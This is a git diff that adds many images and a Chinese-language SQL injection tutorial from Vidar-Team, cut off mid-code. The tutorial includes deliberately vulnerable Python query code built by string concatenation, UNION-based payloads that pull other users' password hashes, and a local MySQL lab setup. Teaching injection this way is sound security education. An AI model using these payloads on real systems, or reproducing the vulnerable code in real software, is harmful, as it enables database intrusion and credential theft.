b/4.人工智能/static/boxcnd25i5LQ7WjGJEe2xgU3qce.jpg new file mode 100644 index 0000000..77d610c Binary files /dev/null and b/4.人工智能/static/boxcnd25i5LQ7WjGJEe2xgU3qce.jpg differ diff --git a/4.人工智能/static/boxcnd7HTEFOiJxVQ3jtOpzK4ie.png b/4.人工智能/static/boxcnd7HTEFOiJxVQ3jtOpzK4ie.png new file mode 100644 index 0000000..90d202a Binary files /dev/null and b/4.人工智能/static/boxcnd7HTEFOiJxVQ3jtOpzK4ie.png differ diff --git a/4.人工智能/static/boxcndYCXYj7rNfhXoSaEPZxpyc.png b/4.人工智能/static/boxcndYCXYj7rNfhXoSaEPZxpyc.png new file mode 100644 index 0000000..1472ead Binary files /dev/null and b/4.人工智能/static/boxcndYCXYj7rNfhXoSaEPZxpyc.png differ diff --git a/4.人工智能/static/boxcndjXp5ayczwemklMk9ZA3ig.jpg b/4.人工智能/static/boxcndjXp5ayczwemklMk9ZA3ig.jpg new file mode 100644 index 0000000..ad75d8d Binary files /dev/null and b/4.人工智能/static/boxcndjXp5ayczwemklMk9ZA3ig.jpg differ diff --git a/4.人工智能/static/boxcne7eizRhw5GKRSpF40KcMEh.png b/4.人工智能/static/boxcne7eizRhw5GKRSpF40KcMEh.png new file mode 100644 index 0000000..8a67475 Binary files /dev/null and b/4.人工智能/static/boxcne7eizRhw5GKRSpF40KcMEh.png differ diff --git a/4.人工智能/static/boxcneERqw4amGHf6f2SX7gcdny.png b/4.人工智能/static/boxcneERqw4amGHf6f2SX7gcdny.png new file mode 100644 index 0000000..384d208 Binary files /dev/null and b/4.人工智能/static/boxcneERqw4amGHf6f2SX7gcdny.png differ diff --git a/4.人工智能/static/boxcneVFa131Lb9xDMCsIMI9fcc.png b/4.人工智能/static/boxcneVFa131Lb9xDMCsIMI9fcc.png new file mode 100644 index 0000000..8938c53 Binary files /dev/null and b/4.人工智能/static/boxcneVFa131Lb9xDMCsIMI9fcc.png differ diff --git a/4.人工智能/static/boxcnepK0nkI8pWAJaO89zQoRgh.png b/4.人工智能/static/boxcnepK0nkI8pWAJaO89zQoRgh.png new file mode 100644 index 0000000..2f5a04d Binary files /dev/null and b/4.人工智能/static/boxcnepK0nkI8pWAJaO89zQoRgh.png differ diff --git a/4.人工智能/static/boxcnfH30VDvbSdzahs5lRuirUd.gif b/4.人工智能/static/boxcnfH30VDvbSdzahs5lRuirUd.gif new file mode 100644 index 0000000..dc4d785 Binary files /dev/null and b/4.人工智能/static/boxcnfH30VDvbSdzahs5lRuirUd.gif differ diff --git a/4.人工智能/static/boxcnfYSoVgoERduiWP0jWNWMxf.jpg b/4.人工智能/static/boxcnfYSoVgoERduiWP0jWNWMxf.jpg new file mode 100644 index 0000000..8c50a6b Binary files /dev/null and b/4.人工智能/static/boxcnfYSoVgoERduiWP0jWNWMxf.jpg differ diff --git a/4.人工智能/static/boxcnfw5FrBxPaD4bNFT4GFyXmd.png b/4.人工智能/static/boxcnfw5FrBxPaD4bNFT4GFyXmd.png new file mode 100644 index 0000000..e2b58e6 Binary files /dev/null and b/4.人工智能/static/boxcnfw5FrBxPaD4bNFT4GFyXmd.png differ diff --git a/4.人工智能/static/boxcng0jB2dmDD18EwU8nAIFPIc.png b/4.人工智能/static/boxcng0jB2dmDD18EwU8nAIFPIc.png new file mode 100644 index 0000000..0026e92 Binary files /dev/null and b/4.人工智能/static/boxcng0jB2dmDD18EwU8nAIFPIc.png differ diff --git a/4.人工智能/static/boxcng7xDooDmmpbCJRyLJBucwe.png b/4.人工智能/static/boxcng7xDooDmmpbCJRyLJBucwe.png new file mode 100644 index 0000000..09317eb Binary files /dev/null and b/4.人工智能/static/boxcng7xDooDmmpbCJRyLJBucwe.png differ diff --git a/4.人工智能/static/boxcngaZNZB3XLSJia0rk0DgGbe.png b/4.人工智能/static/boxcngaZNZB3XLSJia0rk0DgGbe.png new file mode 100644 index 0000000..97ca42a Binary files /dev/null and b/4.人工智能/static/boxcngaZNZB3XLSJia0rk0DgGbe.png differ diff --git a/4.人工智能/static/boxcngc1a7cWapQA9rSLXYqUvkf.png b/4.人工智能/static/boxcngc1a7cWapQA9rSLXYqUvkf.png new file mode 100644 index 0000000..e8a7f7c Binary files /dev/null and b/4.人工智能/static/boxcngc1a7cWapQA9rSLXYqUvkf.png differ diff --git a/4.人工智能/static/boxcngqgiogbvy4OYpIzIo6eSXd.png b/4.人工智能/static/boxcngqgiogbvy4OYpIzIo6eSXd.png new file mode 100644 index 0000000..3197836 Binary files /dev/null and b/4.人工智能/static/boxcngqgiogbvy4OYpIzIo6eSXd.png differ diff --git a/4.人工智能/static/boxcnh9SUOsY17OVJY6D7jLtVAc.jpeg b/4.人工智能/static/boxcnh9SUOsY17OVJY6D7jLtVAc.jpeg new file mode 100644 index 0000000..9858d9a Binary files /dev/null and b/4.人工智能/static/boxcnh9SUOsY17OVJY6D7jLtVAc.jpeg differ diff --git a/4.人工智能/static/boxcnhLjMMdts91f8gcpgSVE8Ed.png b/4.人工智能/static/boxcnhLjMMdts91f8gcpgSVE8Ed.png new file mode 100644 index 0000000..7d8ac8d Binary files /dev/null and b/4.人工智能/static/boxcnhLjMMdts91f8gcpgSVE8Ed.png differ diff --git a/4.人工智能/static/boxcnha4DXsSfAUIYbCQqAx6QKd.png b/4.人工智能/static/boxcnha4DXsSfAUIYbCQqAx6QKd.png new file mode 100644 index 0000000..d7645cc Binary files /dev/null and b/4.人工智能/static/boxcnha4DXsSfAUIYbCQqAx6QKd.png differ diff --git a/4.人工智能/static/boxcnhbR6lGSXd6UAEpRvSIYSHg.png b/4.人工智能/static/boxcnhbR6lGSXd6UAEpRvSIYSHg.png new file mode 100644 index 0000000..caaf8da Binary files /dev/null and b/4.人工智能/static/boxcnhbR6lGSXd6UAEpRvSIYSHg.png differ diff --git a/4.人工智能/static/boxcnhgVaLChu3O2omGJKzFU7uB.png b/4.人工智能/static/boxcnhgVaLChu3O2omGJKzFU7uB.png new file mode 100644 index 0000000..14a2432 Binary files /dev/null and b/4.人工智能/static/boxcnhgVaLChu3O2omGJKzFU7uB.png differ diff --git a/4.人工智能/static/boxcnhuabU9XzXmVQfu0ruENs83.png b/4.人工智能/static/boxcnhuabU9XzXmVQfu0ruENs83.png new file mode 100644 index 0000000..9c655a6 Binary files /dev/null and b/4.人工智能/static/boxcnhuabU9XzXmVQfu0ruENs83.png differ diff --git a/4.人工智能/static/boxcnhxg4HZw2NExIbYZxQGISze.png b/4.人工智能/static/boxcnhxg4HZw2NExIbYZxQGISze.png new file mode 100644 index 0000000..fee1e41 Binary files /dev/null and b/4.人工智能/static/boxcnhxg4HZw2NExIbYZxQGISze.png differ diff --git a/4.人工智能/static/boxcni4q9Cp8G7H9HjKMrfImcZe.jpg b/4.人工智能/static/boxcni4q9Cp8G7H9HjKMrfImcZe.jpg new file mode 100644 index 0000000..ab8bb73 Binary files /dev/null and b/4.人工智能/static/boxcni4q9Cp8G7H9HjKMrfImcZe.jpg differ diff --git a/4.人工智能/static/boxcniBPPpszGhbOWGpvto38Alf.png b/4.人工智能/static/boxcniBPPpszGhbOWGpvto38Alf.png new file mode 100644 index 0000000..c328303 Binary files /dev/null and b/4.人工智能/static/boxcniBPPpszGhbOWGpvto38Alf.png differ diff --git a/4.人工智能/static/boxcniBkiypcv6IQbxr9D6JukOb.png b/4.人工智能/static/boxcniBkiypcv6IQbxr9D6JukOb.png new file mode 100644 index 0000000..91d5cc6 Binary files /dev/null and b/4.人工智能/static/boxcniBkiypcv6IQbxr9D6JukOb.png differ diff --git a/4.人工智能/static/boxcniDICYiLh7ddcxEVrHxFODe.png b/4.人工智能/static/boxcniDICYiLh7ddcxEVrHxFODe.png new file mode 100644 index 0000000..a1e2683 Binary files /dev/null and b/4.人工智能/static/boxcniDICYiLh7ddcxEVrHxFODe.png differ diff --git a/4.人工智能/static/boxcniVb6FvrZziID1B1JFmgVzx.jpg b/4.人工智能/static/boxcniVb6FvrZziID1B1JFmgVzx.jpg new file mode 100644 index 0000000..3dbc0db Binary files /dev/null and b/4.人工智能/static/boxcniVb6FvrZziID1B1JFmgVzx.jpg differ diff --git a/4.人工智能/static/boxcnj3FZsRiJbWsKW07b9B8Fkb.png b/4.人工智能/static/boxcnj3FZsRiJbWsKW07b9B8Fkb.png new file mode 100644 index 0000000..a27b8eb Binary files /dev/null and b/4.人工智能/static/boxcnj3FZsRiJbWsKW07b9B8Fkb.png differ diff --git a/4.人工智能/static/boxcnjsG31hhjqdxOnoCGFGR6sh.png b/4.人工智能/static/boxcnjsG31hhjqdxOnoCGFGR6sh.png new file mode 100644 index 0000000..304b8c0 Binary files /dev/null and b/4.人工智能/static/boxcnjsG31hhjqdxOnoCGFGR6sh.png differ diff --git a/4.人工智能/static/boxcnl48ovxbqSeTljgF3rp16ue.png b/4.人工智能/static/boxcnl48ovxbqSeTljgF3rp16ue.png new file mode 100644 index 0000000..4319dce Binary files /dev/null and b/4.人工智能/static/boxcnl48ovxbqSeTljgF3rp16ue.png differ diff --git a/4.人工智能/static/boxcnliAj5mb0Afz0TOMwrwytmh.png b/4.人工智能/static/boxcnliAj5mb0Afz0TOMwrwytmh.png new file mode 100644 index 0000000..83012e4 Binary files /dev/null and b/4.人工智能/static/boxcnliAj5mb0Afz0TOMwrwytmh.png differ diff --git a/4.人工智能/static/boxcnmsqq7VweNAqWlHxdZDAMDf.png b/4.人工智能/static/boxcnmsqq7VweNAqWlHxdZDAMDf.png new file mode 100644 index 0000000..27d3f01 Binary files /dev/null and b/4.人工智能/static/boxcnmsqq7VweNAqWlHxdZDAMDf.png differ diff --git a/4.人工智能/static/boxcnn8a16DYyEPEVuHxvvw7eAf.png b/4.人工智能/static/boxcnn8a16DYyEPEVuHxvvw7eAf.png new file mode 100644 index 0000000..a89b05a Binary files /dev/null and b/4.人工智能/static/boxcnn8a16DYyEPEVuHxvvw7eAf.png differ diff --git a/4.人工智能/static/boxcnnWI38bkSzeCe5TtVTBCrNh.png b/4.人工智能/static/boxcnnWI38bkSzeCe5TtVTBCrNh.png new file mode 100644 index 0000000..49a176e Binary files /dev/null and b/4.人工智能/static/boxcnnWI38bkSzeCe5TtVTBCrNh.png differ diff --git a/4.人工智能/static/boxcnnwHy3Hlhbu2bOsi6r2BYJe.png b/4.人工智能/static/boxcnnwHy3Hlhbu2bOsi6r2BYJe.png new file mode 100644 index 0000000..9763670 Binary files /dev/null and b/4.人工智能/static/boxcnnwHy3Hlhbu2bOsi6r2BYJe.png differ diff --git a/4.人工智能/static/boxcnokdWGegr2XCi1vfg0ZZiWg.png b/4.人工智能/static/boxcnokdWGegr2XCi1vfg0ZZiWg.png new file mode 100644 index 0000000..17bb99f Binary files /dev/null and b/4.人工智能/static/boxcnokdWGegr2XCi1vfg0ZZiWg.png differ diff --git a/4.人工智能/static/boxcnolggxKhDZDBzIFPIaDFfhc.png b/4.人工智能/static/boxcnolggxKhDZDBzIFPIaDFfhc.png new file mode 100644 index 0000000..c646b0c Binary files /dev/null and b/4.人工智能/static/boxcnolggxKhDZDBzIFPIaDFfhc.png differ diff --git a/4.人工智能/static/boxcnoo4bKuLo5qQdQmRP2H75Sb.png b/4.人工智能/static/boxcnoo4bKuLo5qQdQmRP2H75Sb.png new file mode 100644 index 0000000..eba9b52 Binary files /dev/null and b/4.人工智能/static/boxcnoo4bKuLo5qQdQmRP2H75Sb.png differ diff --git a/4.人工智能/static/boxcnoyxKL4bOeYOOjrh6it0BHd.gif b/4.人工智能/static/boxcnoyxKL4bOeYOOjrh6it0BHd.gif new file mode 100644 index 0000000..b73fa45 Binary files /dev/null and b/4.人工智能/static/boxcnoyxKL4bOeYOOjrh6it0BHd.gif differ diff --git a/4.人工智能/static/boxcnp9i1SagOxXd17W9BiP3RNe.png b/4.人工智能/static/boxcnp9i1SagOxXd17W9BiP3RNe.png new file mode 100644 index 0000000..a06356b Binary files /dev/null and b/4.人工智能/static/boxcnp9i1SagOxXd17W9BiP3RNe.png differ diff --git a/4.人工智能/static/boxcnpDPWKnB6x4fQmGpyvLQJLf.png b/4.人工智能/static/boxcnpDPWKnB6x4fQmGpyvLQJLf.png new file mode 100644 index 0000000..42c9632 Binary files /dev/null and b/4.人工智能/static/boxcnpDPWKnB6x4fQmGpyvLQJLf.png differ diff --git a/4.人工智能/static/boxcnplbH8Ot0U6cuLHStDmXyze.png b/4.人工智能/static/boxcnplbH8Ot0U6cuLHStDmXyze.png new file mode 100644 index 0000000..c35eecb Binary files /dev/null and b/4.人工智能/static/boxcnplbH8Ot0U6cuLHStDmXyze.png differ diff --git a/4.人工智能/static/boxcnq5TYzSltn6CsPM3Bn3xxAb.png b/4.人工智能/static/boxcnq5TYzSltn6CsPM3Bn3xxAb.png new file mode 100644 index 0000000..bac473a Binary files /dev/null and b/4.人工智能/static/boxcnq5TYzSltn6CsPM3Bn3xxAb.png differ diff --git a/4.人工智能/static/boxcnqHCP5KiSF4Vmc6M1cjEXKg.png b/4.人工智能/static/boxcnqHCP5KiSF4Vmc6M1cjEXKg.png new file mode 100644 index 0000000..d85fb6a Binary files /dev/null and b/4.人工智能/static/boxcnqHCP5KiSF4Vmc6M1cjEXKg.png differ diff --git a/4.人工智能/static/boxcnqdfrOIxim4wBayDDBitHCd.png b/4.人工智能/static/boxcnqdfrOIxim4wBayDDBitHCd.png new file mode 100644 index 0000000..bee5432 Binary files /dev/null and b/4.人工智能/static/boxcnqdfrOIxim4wBayDDBitHCd.png differ diff --git a/4.人工智能/static/boxcnquKepO4wJ74KfNIy3LtqVg.png b/4.人工智能/static/boxcnquKepO4wJ74KfNIy3LtqVg.png new file mode 100644 index 0000000..497a7a2 Binary files /dev/null and b/4.人工智能/static/boxcnquKepO4wJ74KfNIy3LtqVg.png differ diff --git a/4.人工智能/static/boxcnrMvM1THshjXXOuh8WXi2zr.jpg b/4.人工智能/static/boxcnrMvM1THshjXXOuh8WXi2zr.jpg new file mode 100644 index 0000000..06a1ee4 Binary files /dev/null and b/4.人工智能/static/boxcnrMvM1THshjXXOuh8WXi2zr.jpg differ diff --git a/4.人工智能/static/boxcnrR3eFvOSKYRH8Ni0dvHYkc.png b/4.人工智能/static/boxcnrR3eFvOSKYRH8Ni0dvHYkc.png new file mode 100644 index 0000000..cd70452 Binary files /dev/null and b/4.人工智能/static/boxcnrR3eFvOSKYRH8Ni0dvHYkc.png differ diff --git a/4.人工智能/static/boxcns6XIPrRoAzgcmiMQKLdOfe.png b/4.人工智能/static/boxcns6XIPrRoAzgcmiMQKLdOfe.png new file mode 100644 index 0000000..33e0a68 Binary files /dev/null and b/4.人工智能/static/boxcns6XIPrRoAzgcmiMQKLdOfe.png differ diff --git a/4.人工智能/static/boxcns8yMCuacj0A2BbMU6ZB08b.png b/4.人工智能/static/boxcns8yMCuacj0A2BbMU6ZB08b.png new file mode 100644 index 0000000..cabca4c Binary files /dev/null and b/4.人工智能/static/boxcns8yMCuacj0A2BbMU6ZB08b.png differ diff --git a/4.人工智能/static/boxcnsGpqCNePn2G34GnJqPieBf.png b/4.人工智能/static/boxcnsGpqCNePn2G34GnJqPieBf.png new file mode 100644 index 0000000..75fce0a Binary files /dev/null and b/4.人工智能/static/boxcnsGpqCNePn2G34GnJqPieBf.png differ diff --git a/4.人工智能/static/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png b/4.人工智能/static/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png new file mode 100644 index 0000000..e155efe Binary files /dev/null and b/4.人工智能/static/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png differ diff --git a/4.人工智能/static/boxcnssaOVvp73SVIrzVvZPr1Je.png b/4.人工智能/static/boxcnssaOVvp73SVIrzVvZPr1Je.png new file mode 100644 index 0000000..3462815 Binary files /dev/null and b/4.人工智能/static/boxcnssaOVvp73SVIrzVvZPr1Je.png differ diff --git a/4.人工智能/static/boxcntFGELTpdcVoigy5ldCorAb.png b/4.人工智能/static/boxcntFGELTpdcVoigy5ldCorAb.png new file mode 100644 index 0000000..068e637 Binary files /dev/null and b/4.人工智能/static/boxcntFGELTpdcVoigy5ldCorAb.png differ diff --git a/4.人工智能/static/boxcnv2inISAGi2xOauc3pxKpCb.png b/4.人工智能/static/boxcnv2inISAGi2xOauc3pxKpCb.png new file mode 100644 index 0000000..88541f1 Binary files /dev/null and b/4.人工智能/static/boxcnv2inISAGi2xOauc3pxKpCb.png differ diff --git a/4.人工智能/static/boxcnv4dRbGDg9eemcyQFREYs0b.png b/4.人工智能/static/boxcnv4dRbGDg9eemcyQFREYs0b.png new file mode 100644 index 0000000..9959b33 Binary files /dev/null and b/4.人工智能/static/boxcnv4dRbGDg9eemcyQFREYs0b.png differ diff --git a/4.人工智能/static/boxcnvBzqwCn9i8GGBIkMFEs3ne.png b/4.人工智能/static/boxcnvBzqwCn9i8GGBIkMFEs3ne.png new file mode 100644 index 0000000..c75fcfc Binary files /dev/null and b/4.人工智能/static/boxcnvBzqwCn9i8GGBIkMFEs3ne.png differ diff --git a/4.人工智能/static/boxcnvQiaAx6WgPx64s8fBklVwh.png b/4.人工智能/static/boxcnvQiaAx6WgPx64s8fBklVwh.png new file mode 100644 index 0000000..2872b2b Binary files /dev/null and b/4.人工智能/static/boxcnvQiaAx6WgPx64s8fBklVwh.png differ diff --git a/4.人工智能/static/boxcnwH75jIO9NiVwQaBqDrbe8e.png b/4.人工智能/static/boxcnwH75jIO9NiVwQaBqDrbe8e.png new file mode 100644 index 0000000..5a77196 Binary files /dev/null and b/4.人工智能/static/boxcnwH75jIO9NiVwQaBqDrbe8e.png differ diff --git a/4.人工智能/static/boxcnwWnoEDulgWdqGkY0WeYogc.png b/4.人工智能/static/boxcnwWnoEDulgWdqGkY0WeYogc.png new file mode 100644 index 0000000..a0c3148 Binary files /dev/null and b/4.人工智能/static/boxcnwWnoEDulgWdqGkY0WeYogc.png differ diff --git a/4.人工智能/static/boxcnwcDWIDvLnuvZ1uOb75QKPh.png b/4.人工智能/static/boxcnwcDWIDvLnuvZ1uOb75QKPh.png new file mode 100644 index 0000000..c0384d7 Binary files /dev/null and b/4.人工智能/static/boxcnwcDWIDvLnuvZ1uOb75QKPh.png differ diff --git a/4.人工智能/static/boxcnwl72wntQgYMFvRPTWY5fPf.png b/4.人工智能/static/boxcnwl72wntQgYMFvRPTWY5fPf.png new file mode 100644 index 0000000..b7204a6 Binary files /dev/null and b/4.人工智能/static/boxcnwl72wntQgYMFvRPTWY5fPf.png differ diff --git a/4.人工智能/static/boxcnxPsUwwhcCC0zBerZ2s88ld.png b/4.人工智能/static/boxcnxPsUwwhcCC0zBerZ2s88ld.png new file mode 100644 index 0000000..2925c74 Binary files /dev/null and b/4.人工智能/static/boxcnxPsUwwhcCC0zBerZ2s88ld.png differ diff --git a/4.人工智能/static/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png b/4.人工智能/static/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png new file mode 100644 index 0000000..7e9b6e7 Binary files /dev/null and b/4.人工智能/static/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png differ diff --git a/4.人工智能/static/boxcnxltvaT52E6mu6JIYaKvM1X.png b/4.人工智能/static/boxcnxltvaT52E6mu6JIYaKvM1X.png new file mode 100644 index 0000000..dde2df8 Binary files /dev/null and b/4.人工智能/static/boxcnxltvaT52E6mu6JIYaKvM1X.png differ diff --git a/4.人工智能/static/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg b/4.人工智能/static/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg new file mode 100644 index 0000000..f9dbcec Binary files /dev/null and b/4.人工智能/static/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg differ diff --git a/4.人工智能/static/boxcnxvqC7FKt1qeCZoI2kVf9yg.png b/4.人工智能/static/boxcnxvqC7FKt1qeCZoI2kVf9yg.png new file mode 100644 index 0000000..c321518 Binary files /dev/null and b/4.人工智能/static/boxcnxvqC7FKt1qeCZoI2kVf9yg.png differ diff --git a/4.人工智能/static/boxcnyh6pakAkcxCKq6pLylSdef.png b/4.人工智能/static/boxcnyh6pakAkcxCKq6pLylSdef.png new file mode 100644 index 0000000..0e6b6c3 Binary files /dev/null and b/4.人工智能/static/boxcnyh6pakAkcxCKq6pLylSdef.png differ diff --git a/4.人工智能/static/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg b/4.人工智能/static/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg new file mode 100644 index 0000000..04503f7 Binary files /dev/null and b/4.人工智能/static/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg differ diff --git a/4.人工智能/static/boxcnz03UebyZ42JNOXpdUfjMBg.png b/4.人工智能/static/boxcnz03UebyZ42JNOXpdUfjMBg.png new file mode 100644 index 0000000..5d74a91 Binary files /dev/null and b/4.人工智能/static/boxcnz03UebyZ42JNOXpdUfjMBg.png differ diff --git a/6.计算机安全/6.1.1SQL 注入.md b/6.计算机安全/6.1.1SQL 注入.md new file mode 100644 index 0000000..a7631b5 --- /dev/null +++ b/6.计算机安全/6.1.1SQL 注入.md @@ -0,0 +1,942 @@ +# SQL 注入 + +Author: `Liki4` from Vidar-Team + +Vidar-Team 2022 招新 QQ 群: 865294458(仅向校内开放) + +Vidar-Team 官网: [https://vidar.club/](https://vidar.club/) + +Vidar-Team 招新报名表: [https://reg.vidar.club/](https://reg.vidar.club/) + +本文中所有涉及的代码全部都托管在 [https://github.com/Liki4/SQLi](https://github.com/Liki4/SQLi) + +## 前言 + +在当代优秀年轻程序员设计与编写 Web 应用的时候,或多或少会使用到一种叫数据库的东西,如字面意义,这种东西通常用来储存数据,例如用户的个人信息,账户名称和密码等。 + +当然这些东西即便用记事本也可以储存,只需要将数据输出到一个文本文件里,事后需要使用的时候再搜索即可。但当数据量逐渐庞大,又对数据的增删改查有所需求的时候,记事本就显得有些心有余而力不足了。 + +于是数据库诞生了,随之诞生了一种名为 SQL 的语言,用以对数据库进行增删改查和更多其他的操作。使用 SQL 语句,可以方便地从数据库中查询出想要的数据,可以方便地找出不同类型数据之间的联系并对他们进行一定的操作。例如当今天你没有做核酸的时候,某些系统就会找出你的个人信息,并对你的健康码进行一个改天换色,同时也将对你的出行码等信息造成影响,这其中所有的过程都离不开 SQL 语句的辛勤付出,因此对其进行研究是非常必要的 :-p + +有关 SQL 语句的基本知识,可以参考 [SQL Tutorial](https://www.w3schools.com/sql/) + +## 简介 + +在旧时代诞生的 Web 应用,不少都直接使用了原始 SQL 语句拼接的方式来完成查询,举个例子 + +```python +def check_pass(username, password): + hash = conn.exec(f"SELECT password FROM users WHERE username = '{username}'") + return (sha256(password) == hash) +``` + +这是一个普通 Web 应用里常见的密码校验函数,的伪代码 + +从 `users` 表中查出 `username` 对应的 `password` 的哈希值,将其与用户传入的密码哈希值进行比对,若相等则意味着用户传入的密码与数据库中储存的密码相吻合,于是返回准许登录 + +![](static/boxcnHiNBWN86AR4AvSSsUVwSWb.png) + +那么问题来了,在语句 + +```sql +SELECT password FROM users WHERE username = '{username}' +``` + +之中,如果参数 `username` 未经过校验,直接使用用户传入的原生字符串,会不会出现什么问题呢? + +这就是本篇 SQL 注入要讨论的问题 + +## SQL 注入中的信息搜集 + +### 信息的获取 + +```python +1. version() 数据库版本 +2. user() 数据库用户名 +3. database() 数据库名 +4. @@datadir 数据库路径 +5. @@version_compile_os 操作系统版本 +``` + +### 字符串拼接 + +1. `concat(str1,str2,…)` 能够将你查询的字段连接在一起 +2. `concat_ws(separator,str1,str2,)` 能够自定义分隔符来将你查询的字段链接在一起 +3. `group_concat([DISTINCT] column [Order BY ASC/DESC column] [Separator separator])` + +一般来说这个函数是配合 `group by` 子句来使用的,但是在 SQL 注入中,我们用他来输出查询出来的所有数据 + +```python +mysql> select id, username, password from users; ++----+----------+------------+ +| id | username | password | ++----+----------+------------+ +| 1 | Dumb | Dumb | +| 2 | Angelina | I-kill-you | +| 3 | Dummy | p@ssword | +| 4 | secure | crappy | +| 5 | stupid | stupidity | +| 6 | superman | genious | +| 7 | batman | mob!le | +| 8 | admin | admin | +| 9 | admin1 | admin1 | +| 10 | admin2 | admin2 | +| 11 | admin3 | admin3 | +| 12 | dhakkan | dumbo | +| 14 | admin4 | admin4 | ++----+----------+------------+ +13 rows in set (0.01 sec) + +mysql> select concat(id,username,password) from users; ++------------------------------+ +| concat(id,username,password) | ++------------------------------+ +| 1DumbDumb | +| 2AngelinaI-kill-you | +| 3Dummyp@ssword | +| 4securecrappy | +| 5stupidstupidity | +| 6supermangenious | +| 7batmanmob!le | +| 8adminadmin | +| 9admin1admin1 | +| 10admin2admin2 | +| 11admin3admin3 | +| 12dhakkandumbo | +| 14admin4admin4 | ++------------------------------+ +13 rows in set (0.01 sec) + +mysql> select concat(id,username,password) from users; ++------------------------------+ +| concat(id,username,password) | ++------------------------------+ +| 1DumbDumb | +| 2AngelinaI-kill-you | +| 3Dummyp@ssword | +| 4securecrappy | +| 5stupidstupidity | +| 6supermangenious | +| 7batmanmob!le | +| 8adminadmin | +| 9admin1admin1 | +| 10admin2admin2 | +| 11admin3admin3 | +| 12dhakkandumbo | +| 14admin4admin4 | ++------------------------------+ +13 rows in set (0.01 sec) + +mysql> select group_concat(id,username separator '_') from users; ++--------------------------------------------------------------------------------------------------------------+ +| group_concat(id,username separator '_') | ++--------------------------------------------------------------------------------------------------------------+ +| 1Dumb_2Angelina_3Dummy_4secure_5stupid_6superman_7batman_8admin_9admin1_10admin2_11admin3_12dhakkan_14admin4 | ++--------------------------------------------------------------------------------------------------------------+ +1 row in set (0.00 sec) +``` + +## 前置知识 + +接着上一节的节奏走,如果我们传入的 `username` 参数中有单引号会发生什么呢 + +> 以下所举的例子都在 MySQL 5.x 版本完成 + +现在我们传入 `Liki4'` 这个字符串 + +![](static/boxcn8TrpE02fnPV7dFzkmnHiAe.png) + +很遗憾,报错了,这个查询因为 SQL 语句存在语法错误而无法完成。 + +那么问题来了,怎么让他不报错的情况下完成查询呢? + +在 MySQL 语句中,`#` 和 `--` 代表行间注释,与 C 语言的 `//` 和 Python 中的 `#` 是同样的意思。也就是说,一个 MySQL 语句中如果存在 `#` 和 `--`,那么这一行其后的所有字符都将视为注释,不予执行。 + +那如果我们传入 `Liki4';#` 这个字符串,那么在拼接后的查询又是什么结果呢 + +![](static/boxcnbAKreqEeZxOYQuQMtZbd9d.png) + +很显然,`#` 号将原本语句的 `';` 注释掉了 + +而我们传入的字符串构成了全新的语法正确的语句,并完成了一次查询! + +那我们是否可以查询一些...不属于我们自己的信息呢?答案是可以的。 + +例如我们传入一个精心构造的字符串 + +`raw_sql_danger' UNION SELECT password FROM users WHERE username = 'Liki5';#` + +![](static/boxcniDohuM3F8FbMqz7YSC0Y5g.png) + +真是惊人的壮举!我完全不认识这个叫 Liki5 的家伙,但我居然知道了他的密码对应的哈希值! + +那么到这里 SQL 注入你就已经完全学会了,接下来做一些小练习吧。 + +请挖掘 Django ORM 最新版本的注入漏洞并与我分享,我会请你喝一杯奶茶作为谢礼。 + +## SQL 注入入门 + +接下来的举例几乎都不会以 Web 的形式出现,虽然你去看别的文档都是起个 Web 应用,但我懒 + +反正都是一样的东西,是否以 Web 应用的形式没差,请不要来杠 + +### SQL 注入的常见类型 + +SQL 注入的常见类型分为以下几种,在后面的章节里会慢慢地讲述不同类型的区别和攻击手法 + +按照攻击手法来分类可以分为以下几种 + +1. 有回显的 SQL 注入 +2. 无回显的 SQL 盲注 +3. 布尔盲注 +4. 时间盲注 +5. 基于报错的 SQL 注入 +6. 堆叠注入 +7. 二次注入 + +按照注入点来分类可以分为以下几种 + +1. 字符型注入 +2. 数字型注入 + +注入点的分类只在于语句构造时微小的区别,因此不作详细的说明 + +当然,不同的数据库后端因为其不同的内置函数等差异,有着不同的攻击手法,但都大同小异。 + +常见的数据库有下列几个 + +1. MySQL +2. MSSQL +3. OracleDB +4. SQLite + +当然还有一些新兴的前沿科技数据库 + +1. ClickHouse +2. PostgreSQL + +还有一些和传统数据库设计理念不一样的 noSQL 数据库 + +1. MongoDB +2. AmazonRD +3. ... + +后续的章节里,会采用入门时最常见的 MySQL 数据库来举例,环境可以用 Docker 简单地创建一个 + +```yaml +# docker-compose.yml +# docker-compose up -d --build + +version: "3.8" +services: + db: + image: mysql:5.7 + container_name: "mysql5-docker" + command: --default-authentication-plugin=mysql_native_password --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --sql-mode='' + ports: + - "3305:3306" + environment: + - MYSQL_ROOT_PASSWORD=TjsDgwGPz5ANbJUU + healthcheck: + test: ["CMD", "mysqladmin" ,"ping", "-h", "localhost"] + interval: 2s + timeout: 5s + retries: 30 +``` + +### 有回显的 SQL 注入 + +我这里写了一个小 demo 来进行展示,demo 代码如下,为了好看我用 prettytable 格式化了输出 + +```python +#!/usr/bin/python +# -*- coding: UTF-8 -*- + +from sqlalchemy import create_engine +from prettytable import from_db_cursor + +engine = create_engine("mysql+pymysql://root:TjsDgwGPz5ANbJUU@127.0.0.1:3305/sqli", max_overflow=5) + +def query(username): + with engine.connect() as con: + cur = con.execute(f"SELECT * FROM users WHERE username = '{username}'").cursor + x = from_db_cursor(cur) + return(x) # 返回查询的结果 + +def main(): + username = input("Give me your username: ") + print(query(username)) + +if __name__ == "__main__": + main() +``` + +接下来我们进行一次常规查询 + +![](static/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png) + +可以看到我们成功从数据库中查出了 `username` 和 `password`,并显示在返回中 + +现在我们构造一些恶意语句,比如 `123' UNION SELECT 1, 2;#` + +现在我们将执行的语句打印出来看看,对代码进行一些小改动 + +```bash +... +def query(username): + with engine.connect() as con: + query_exec = f"SELECT * FROM users WHERE username = '{username}'" + print(query_exec) + cur = con.execute(query_exec).cursor + x = 